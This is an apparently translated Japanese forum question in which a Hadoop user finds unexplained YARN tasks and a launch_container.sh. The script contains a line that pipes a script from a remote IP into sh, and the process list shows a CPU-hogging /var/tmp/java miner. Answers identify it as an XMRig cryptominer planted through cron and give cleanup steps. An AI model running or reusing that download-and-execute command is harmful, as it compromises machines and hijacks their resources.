bugfix> yarn > 投稿

ヤーンを開始するたびに、完了できないタスクリクエストが見つかりますが、それに関するログを取得できず、エラーも見つかりませんでした。 そして、以下のように、launch_container.shという名前の一時ディレクトリにファイルを見つけました。

enter code here#!/bin/bash

export NM_HTTP_PORT="8042"
export LOCAL_DIRS="/home/ubuntu/hadoop/tmp/nm-local-dir/usercache/dr.who/appcache/application_1527211944644_0001"
export HADOOP_COMMON_HOME="/root/hadoop-2.8.3"
export JAVA_HOME="/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.181-2.6.14.8.el7_5.x86_64/jre"
export NM_AUX_SERVICE_mapreduce_shuffle="AAA0+gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
"
export HADOOP_YARN_HOME="/root/hadoop-2.8.3"
export HADOOP_TOKEN_FILE_LOCATION="/home/ubuntu/hadoop/tmp/nm-local-dir/usercache/dr.who/appcache/application_1527211944644_0001/container_1527211944644_0001_02_000001/container_tokens"
export NM_HOST="VM_0_11_centos"
export APPLICATION_WEB_PROXY_BASE="/proxy/application_1527211944644_0001"
export JVM_PID="$$"
export USER="dr.who"
export HADOOP_HDFS_HOME="/root/hadoop-2.8.3"
export PWD="/home/ubuntu/hadoop/tmp/nm-local-dir/usercache/dr.who/appcache/application_1527211944644_0001/container_1527211944644_0001_02_000001"
export CONTAINER_ID="container_1527211944644_0001_02_000001"
export HOME="/home/"
export NM_PORT="44381"
export LOGNAME="dr.who"
export APP_SUBMIT_TIME_ENV="1527212057989"
export MAX_APP_ATTEMPTS="2"
export HADOOP_CONF_DIR="/root/hadoop-2.8.3/etc/hadoop"
export MALLOC_ARENA_MAX="4"
export LOG_DIRS="/root/hadoop-2.8.3/logs/userlogs/application_1527211944644_0001/container_1527211944644_0001_02_000001"
exec /bin/bash -c "curl 185.222.210.59/x_wcr.sh | sh"
hadoop_shell_errorcode=$?
if [ $hadoop_shell_errorcode -ne 0 ]
then
  exit $hadoop_shell_errorcode
fi

ウェブサイトから何かをダウンロードし、ubuntuからcentosにコンピューターを再インストールしました。他のコンピューターで同じ問題を見つけることはできませんが、この問題はまだ存在していました。この問題は、通常のものかトロイの木馬かです。 この問題を解決する方法について、いくつかのヒントを教えてください、ありがとう。 このサイトと同じです」http://ist-deacuna-s1.syr.edu:8088/cluster/apps」

この状況は、wgetのポートを閉じた後に生成されます。wgetのポートを開くと、jpsには表示されないセッションが追加されます。

ps -ef|grep java
ubuntu    7484     1 97 07:16 ?        00:01:58 /var/tmp/java -c /var/tmp/w.conf
ubuntu    7496     1 96 07:16 ?        00:01:57 /var/tmp/java -c /var/tmp/w.conf

これらの2つのセッションは常にすべてのCPUを保持します。

回答 2 件
  • これはハックです...彼らはあなたのマシンに鉱夫を置きます。私は同じことをしていたので、ここでそれを取り除く方法です。彼らはcronジョブを作成し、リモートshファイルを実行して、削除した場合に「インストール」します。最初に削除する必要があります。で見つけた

    /var/spool/cron
    
    

    その後、/ var/tmp /ディレクトリ全体を削除できます。次に、問題のあるPIDを殺します。でそれらを見つける

    ps -Af | grep /tmp/
    
    

    私は彼らが私たちのマシンにアクセスしてこれをインストールする方法を理解しようとしています。

  • --versionでファイル/ var/tmp/javaを確認できますか。同じ問題がありました。 XMRigを見つける提案

あなたの答え